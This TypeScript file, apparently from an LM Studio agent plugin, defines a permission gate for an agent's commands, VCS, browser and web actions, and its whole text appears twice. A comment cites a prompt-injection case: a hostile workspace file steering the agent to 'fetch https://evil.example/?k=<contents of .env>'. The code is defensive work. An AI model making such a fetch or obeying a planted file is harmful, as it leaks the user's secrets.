src / policy / permissions.ts
src / policy / permissions.ts
/**
* The permission gate: a pure decision over the chat's permission mode, the
* kind of mutation being attempted, the destructive ceiling, and any approval
* record already on file for this exact operation. No I/O here — the runtime
* wrapper (gateRuntime.ts) does the store lookups and builds envelopes.
*/
export type PermissionMode = "manual" | "plan" | "auto";
/**
* `web` is egress, not a workspace mutation: `workspace_research`
* `search`/`fetch`/`deep` reach a host outside the machine, and a hostile file
* in the workspace can spend that reach on exfiltration (`fetch
* https://evil.example/?k=<contents of .env>`). Browser control was already
* gated for the same reason, so the read-shaped-but-outbound line is drawn in
* one place. Local research state (`start`, `note`, `show`, `list`, `archive`)
* is not a mutation kind and never reaches the gate.
*/
export type MutationKind = "transaction" | "command" | "vcs" | "browser" | "web" | "agent";
export const PERMISSION_MODES: readonly PermissionMode[] = ["manual", "plan", "auto"];
export interface GateApproval {
status: "pending" | "approved" | "denied";
}
export interface GateInput {
mode: PermissionMode;
kind: MutationKind;
destructive: boolean;
allowDestructiveEdits: boolean;
planApproved: boolean;
approval?: GateApproval;
}
export type AllowReason = "auto" | "plan_approved" | "approval_consumed";
export type StageReason = "manual_requires_approval" | "approval_pending" | "plan_requires_plan";
export type RefuseReason = "destructive_disabled" | "approval_denied";
export type GateReason = AllowReason | StageReason | RefuseReason;
export type GateDecision =
| { outcome: "allow"; reason: AllowReason }
| { outcome: "stage"; reason: StageReason }
| { outcome: "refuse"; reason: RefuseReason };
export function permissionModeFromLevel(level: number): PermissionMode {
if (!Number.isFinite(level)) return "plan";
const index = Math.min(2, Math.max(0, Math.round(level)));
return PERMISSION_MODES[index];
}
export function permissionLevel(mode: PermissionMode): 0 | 1 | 2 {
return PERMISSION_MODES.indexOf(mode) as 0 | 1 | 2;
}
export function describePermissionMode(mode: PermissionMode): string {
const label = mode === "manual" ? "Manual" : mode === "plan" ? "Plan" : "Auto";
return `${label} (${permissionLevel(mode)})`;
}
export function decide(input: GateInput): GateDecision {
if (input.destructive && !input.allowDestructiveEdits) {
return { outcome: "refuse", reason: "destructive_disabled" };
}
if (input.mode === "auto") {
return { outcome: "allow", reason: "auto" };
}
if (input.approval?.status === "approved") {
return { outcome: "allow", reason: "approval_consumed" };
}
if (input.approval?.status === "denied") {
return { outcome: "refuse", reason: "approval_denied" };
}
if (input.mode === "plan") {
return input.planApproved
? { outcome: "allow", reason: "plan_approved" }
: { outcome: "stage", reason: "plan_requires_plan" };
}
return input.approval?.status === "pending"
? { outcome: "stage", reason: "approval_pending" }
: { outcome: "stage", reason: "manual_requires_approval" };
}
export function gateReasonText(reason: GateReason): string {
switch (reason) {
case "auto":
return "permission mode is Auto";
case "plan_approved":
return "the active plan was approved by the user";
case "approval_consumed":
return "the user approved this exact operation";
case "manual_requires_approval":
return "permission mode is Manual: the user must approve this operation";
case "approval_pending":
return "this operation is already waiting for the user's approval";
case "plan_requires_plan":
return "permission mode is Plan: propose a plan with workspace_plan and wait for /accept";
case "destructive_disabled":
// Names the setting rather than a kind of operation: this reason covers
// transactions, checkouts, branch deletes and forced pushes alike, and
// "destructive commits" read as the wrong noun for most of them. The
// LM Studio settings UI labels the field "Allow destructive commits", so
// the key alone is not something a user can find — name both.
return 'it changes the working tree destructively and the plugin setting allowDestructiveEdits ("Allow destructive commits") is off';
case "approval_denied":
// A denial with nothing after it left models re-issuing the identical
// call, which stages nothing and refuses again. The only two moves that
// can change the answer are naming a different operation or asking.
return "the user denied this operation. Do not re-issue it unchanged — revise it, or ask the user what to change";
}
}
/**
* The permission gate: a pure decision over the chat's permission mode, the
* kind of mutation being attempted, the destructive ceiling, and any approval
* record already on file for this exact operation. No I/O here — the runtime
* wrapper (gateRuntime.ts) does the store lookups and builds envelopes.
*/
export type PermissionMode = "manual" | "plan" | "auto";
/**
* `web` is egress, not a workspace mutation: `workspace_research`
* `search`/`fetch`/`deep` reach a host outside the machine, and a hostile file
* in the workspace can spend that reach on exfiltration (`fetch
* https://evil.example/?k=<contents of .env>`). Browser control was already
* gated for the same reason, so the read-shaped-but-outbound line is drawn in
* one place. Local research state (`start`, `note`, `show`, `list`, `archive`)
* is not a mutation kind and never reaches the gate.
*/
export type MutationKind = "transaction" | "command" | "vcs" | "browser" | "web" | "agent";
export const PERMISSION_MODES: readonly PermissionMode[] = ["manual", "plan", "auto"];
export interface GateApproval {
status: "pending" | "approved" | "denied";
}
export interface GateInput {
mode: PermissionMode;
kind: MutationKind;
destructive: boolean;
allowDestructiveEdits: boolean;
planApproved: boolean;
approval?: GateApproval;
}
export type AllowReason = "auto" | "plan_approved" | "approval_consumed";
export type StageReason = "manual_requires_approval" | "approval_pending" | "plan_requires_plan";
export type RefuseReason = "destructive_disabled" | "approval_denied";
export type GateReason = AllowReason | StageReason | RefuseReason;
export type GateDecision =
| { outcome: "allow"; reason: AllowReason }
| { outcome: "stage"; reason: StageReason }
| { outcome: "refuse"; reason: RefuseReason };
export function permissionModeFromLevel(level: number): PermissionMode {
if (!Number.isFinite(level)) return "plan";
const index = Math.min(2, Math.max(0, Math.round(level)));
return PERMISSION_MODES[index];
}
export function permissionLevel(mode: PermissionMode): 0 | 1 | 2 {
return PERMISSION_MODES.indexOf(mode) as 0 | 1 | 2;
}
export function describePermissionMode(mode: PermissionMode): string {
const label = mode === "manual" ? "Manual" : mode === "plan" ? "Plan" : "Auto";
return `${label} (${permissionLevel(mode)})`;
}
export function decide(input: GateInput): GateDecision {
if (input.destructive && !input.allowDestructiveEdits) {
return { outcome: "refuse", reason: "destructive_disabled" };
}
if (input.mode === "auto") {
return { outcome: "allow", reason: "auto" };
}
if (input.approval?.status === "approved") {
return { outcome: "allow", reason: "approval_consumed" };
}
if (input.approval?.status === "denied") {
return { outcome: "refuse", reason: "approval_denied" };
}
if (input.mode === "plan") {
return input.planApproved
? { outcome: "allow", reason: "plan_approved" }
: { outcome: "stage", reason: "plan_requires_plan" };
}
return input.approval?.status === "pending"
? { outcome: "stage", reason: "approval_pending" }
: { outcome: "stage", reason: "manual_requires_approval" };
}
export function gateReasonText(reason: GateReason): string {
switch (reason) {
case "auto":
return "permission mode is Auto";
case "plan_approved":
return "the active plan was approved by the user";
case "approval_consumed":
return "the user approved this exact operation";
case "manual_requires_approval":
return "permission mode is Manual: the user must approve this operation";
case "approval_pending":
return "this operation is already waiting for the user's approval";
case "plan_requires_plan":
return "permission mode is Plan: propose a plan with workspace_plan and wait for /accept";
case "destructive_disabled":
// Names the setting rather than a kind of operation: this reason covers
// transactions, checkouts, branch deletes and forced pushes alike, and
// "destructive commits" read as the wrong noun for most of them. The
// LM Studio settings UI labels the field "Allow destructive commits", so
// the key alone is not something a user can find — name both.
return 'it changes the working tree destructively and the plugin setting allowDestructiveEdits ("Allow destructive commits") is off';
case "approval_denied":
// A denial with nothing after it left models re-issuing the identical
// call, which stages nothing and refuses again. The only two moves that
// can change the answer are naming a different operation or asking.
return "the user denied this operation. Do not re-issue it unchanged — revise it, or ask the user what to change";
}
}